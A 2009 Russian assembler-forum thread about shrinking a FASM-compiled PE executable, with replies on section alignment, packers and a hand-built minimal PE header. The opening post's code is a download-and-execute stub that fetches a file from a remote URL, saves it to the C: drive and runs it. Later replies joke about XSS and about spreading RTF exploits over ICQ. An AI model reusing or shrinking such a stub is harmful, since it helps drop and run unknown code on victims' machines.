Минимальный размер скомпилированного файла

Тема в разделе "WASM.ASSEMBLER", создана пользователем miae, 11 фев 2009.

  1. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    Приветствую.

    Господа объясните бестолковому почему я на выходе имею файл 1024, а не 512 и как я могу уменьшить размер.
    При загрузке в Ольгу вижу что секция забита нулями.

    на входе имею код
    Код (Text):
    1. format PE GUI 4.0
    2.  
    3. include 'win32a.inc'
    4.         invoke URLDownloadToFile,NULL,_url,_file,NULL,NULL
    5.         invoke ShellExecute,0,0,_file,0,0,SW_SHOW
    6.         invoke ExitProcess,0
    7. exit:
    8.  
    9. _url db 'http://www.site.ru/ant.jpg',0
    10. _file db 'c:\ant.jpg',0
    11.  
    12. data import
    13.  library kernel32,'kernel32.dll',\
    14.          urlmon,'urlmon.dll',\
    15.          shell32,'shell32.dll'
    16.  import kernel32,\
    17.         ExitProcess,'ExitProcess'
    18.  import urlmon,\
    19.         URLDownloadToFile,'URLDownloadToFileA'
    20.  import shell32,\
    21.         ShellExecute,'ShellExecuteA'
    22. end data
     
  2. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    выравнивание вестимо.
    посмотри структуру файла в PETools например.
     
  3. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    Да видимо в первую секцию код не поместился ... секция кода начинается с 200h.

    Может есть какие-то дериктивы по уменьшению размера бинарика на выходе ...
     
  4. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    сначала 0x200 байт заголовка, потом уже 1я секция (кода)
     
  5. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    "...признаю свою вину,
    меру, степень, глубину ..."

    м.б. посоветуете другой тип файла на выходе ... или руками что поправить ?
     
  6. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    fsg, upx
     
  7. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    http://www.phreedom.org/solar/code/tinype/
     
  8. murder

    murder Member

    Публикаций:
    0
    Регистрация:
    3 июн 2007
    Сообщения:
    628
    Код (Text):
    1. format PE GUI 4.0 on 'stub'
    stub - пустой файл
     
  9. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    2 n0name
    описание ничего, вот тока как заточить под fasm не догоняю.

    2 murder
    по прежнему первая секция выравнивается до 1024.
     
  10. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    заменить "BITS 32" на use32, будет тебе fasm.
     
  11. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    ))) так просто не прокатило, спалился на
    Код (Text):
    1. %define round(n, r) (((n+(r-1))/r)*r)
    а потом на вызове round ошибки валятся

    flat assembler version 1.67.26
     
  12. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    Надо оформить макрос в стиле фасма
     
  13. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    покопай в разделе beginners там четотакое было
    или вот например
    Код (Text):
    1. ? equ 0x55
    2. ?? equ 0x5555
    3. ???? equ 0x55555555
    4.  
    5. FILE_ALIGN = 0x200
    6. VIRTUAL_ALIGN = 0x1000
    7. IMAGE_SIZE = 0x3000
    8. HEAREDS_SIZE = 0x200
    9. SECTIONS = 2
    10. SEC_1_VIRT_SIZE = 0x100
    11. SEC_1_RVA    = 0x1000
    12. SEC_1_RAW_SIZE = 0x200
    13. SEC_1_RAW_OFS = 0x200
    14. SEC_2_VIRT_SIZE = 0x100
    15. SEC_2_RVA    = 0x2000
    16. SEC_2_RAW_SIZE = 0x200
    17. SEC_2_RAW_OFS = 0x400
    18.  
    19.  
    20. ENTRYPOINT equ EntryPoint  ;<<<<<<<<<<<<<<<<<<
    21. ;========== MZ header ===============
    22. dd "MZ"
    23. db 0x3c-$ dup 0
    24. dd 0x40
    25. ;========== PE header ===============
    26. dd "PE"
    27. dw 14ch
    28. dw SECTIONS
    29. db 12 dup (?) ;0,0,0,0,0,0,0,0,0,0,0,0
    30. dw 0xE0,103h,10bh
    31. db 14 dup (?) ;0,0,0,0,0,0,0,0,0,0,0,0,0,0
    32. dd ENTRYPOINT
    33. db 8 dup (?) ;0,0,0,0,0,0,0,0
    34. dd 400000h,VIRTUAL_ALIGN,FILE_ALIGN
    35. db 8 dup (?) ;0,0,0,0,0,0,0,0
    36. dw 4 ;MajorSubsystemVersion
    37. db 6 dup (?) ;0,0,0,0,0,0
    38. dd IMAGE_SIZE,HEAREDS_SIZE
    39. dw 0,0
    40. dw 2 ;(Win32 GUI)
    41. db ?,?
    42. dd 0
    43. dd 0
    44. dd 0
    45. dd 0
    46. dd 0
    47. dd 2 ;NumberOfRvaAndSizes
    48. ;======== Data Directory ==============
    49. db 8 dup (?)
    50. dd idata,20*1
    51. db 36 dup (?)
    52. dd 0 ;debug directory size
    53. db 72 dup (?)
    54. ;========= Section Table ===============
    55. dq "section1"
    56. dd SEC_1_VIRT_SIZE,SEC_1_RVA,SEC_1_RAW_SIZE,SEC_1_RAW_OFS
    57. dd 0,0,0,0xE0000040
    58. dq "section2"
    59. dd SEC_2_VIRT_SIZE,SEC_2_RVA,SEC_2_RAW_SIZE,SEC_2_RAW_OFS
    60. dd 0,0,0,0xE0000040
    61. ;========= End of Header ===============
    62. db 0x200-$ dup 0 ; FILE ALIGN
    63. org 0x1000
    64. ;======== Section 1 Begin =======================
    65. EntryPoint:
    66.     use32
    67.     push 0
    68.     call @f ;"PE",0
    69.     db "capt",0
    70. @@: call @f
    71.     db "msg",0
    72. @@: push 0
    73.     call @f
    74.     vUSER32 dd aMessageBoxA,0
    75. @@: pop eax
    76.     call dword[eax]
    77.     ret
    78. ;============= section 1 end =======================
    79. db 0x200-($-$$) dup 0
    80. org 0x2000
    81. ;============= section 2 begin =======================
    82. ;import
    83.     idata dd 0,0,0,aUSER32,vUSER32, 4 dup ????,0
    84.     aUSER32 db "USER32.DLL",0
    85.     aMessageBoxA db 0,0,"MessageBoxA",0
    86. ;============= section 2 end =======================
    87. db 0x400-($-$$) dup 0  ; FILE ALIGN
     
  14. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    2 GoldFinch
    твой пример у меня fasm`ом скомпилировался на 2048

    решение в 152 байта нашел тут http://www.wasm.ru/forum/viewtopic.php?pid=51713#p51713
    вот тока теперь разобраться было бы неплохо )))
     
  15. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    miae
    так ты его переделай как надо у будет хоть 97байт
    это какбэ скелет проги у которой оставлены только нужные поля
     
  16. miae

    miae Member

    Публикаций:
    0
    Регистрация:
    22 дек 2007
    Сообщения:
    44
    2 GoldFinch
    до этого уже допер ...
    я просто раньше не задумывался о размерах скомпилированных прог, потому как писал тока оболочки к БД.
     
  17. bondyara

    bondyara New Member

    Публикаций:
    0
    Регистрация:
    14 фев 2009
    Сообщения:
    39
  18. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    кто-то xss ищет на васме? :)
     
  19. jaja

    jaja New Member

    Публикаций:
    0
    Регистрация:
    23 июл 2008
    Сообщения:
    243
    Это все детский лепет, парень! Все крутые пацаны, как я рассылают {\rtf\pict&&} по асе!
     
  20. V1lko

    V1lko New Member

    Публикаций:
    0
    Регистрация:
    15 янв 2009
    Сообщения:
    53
    jaja, +1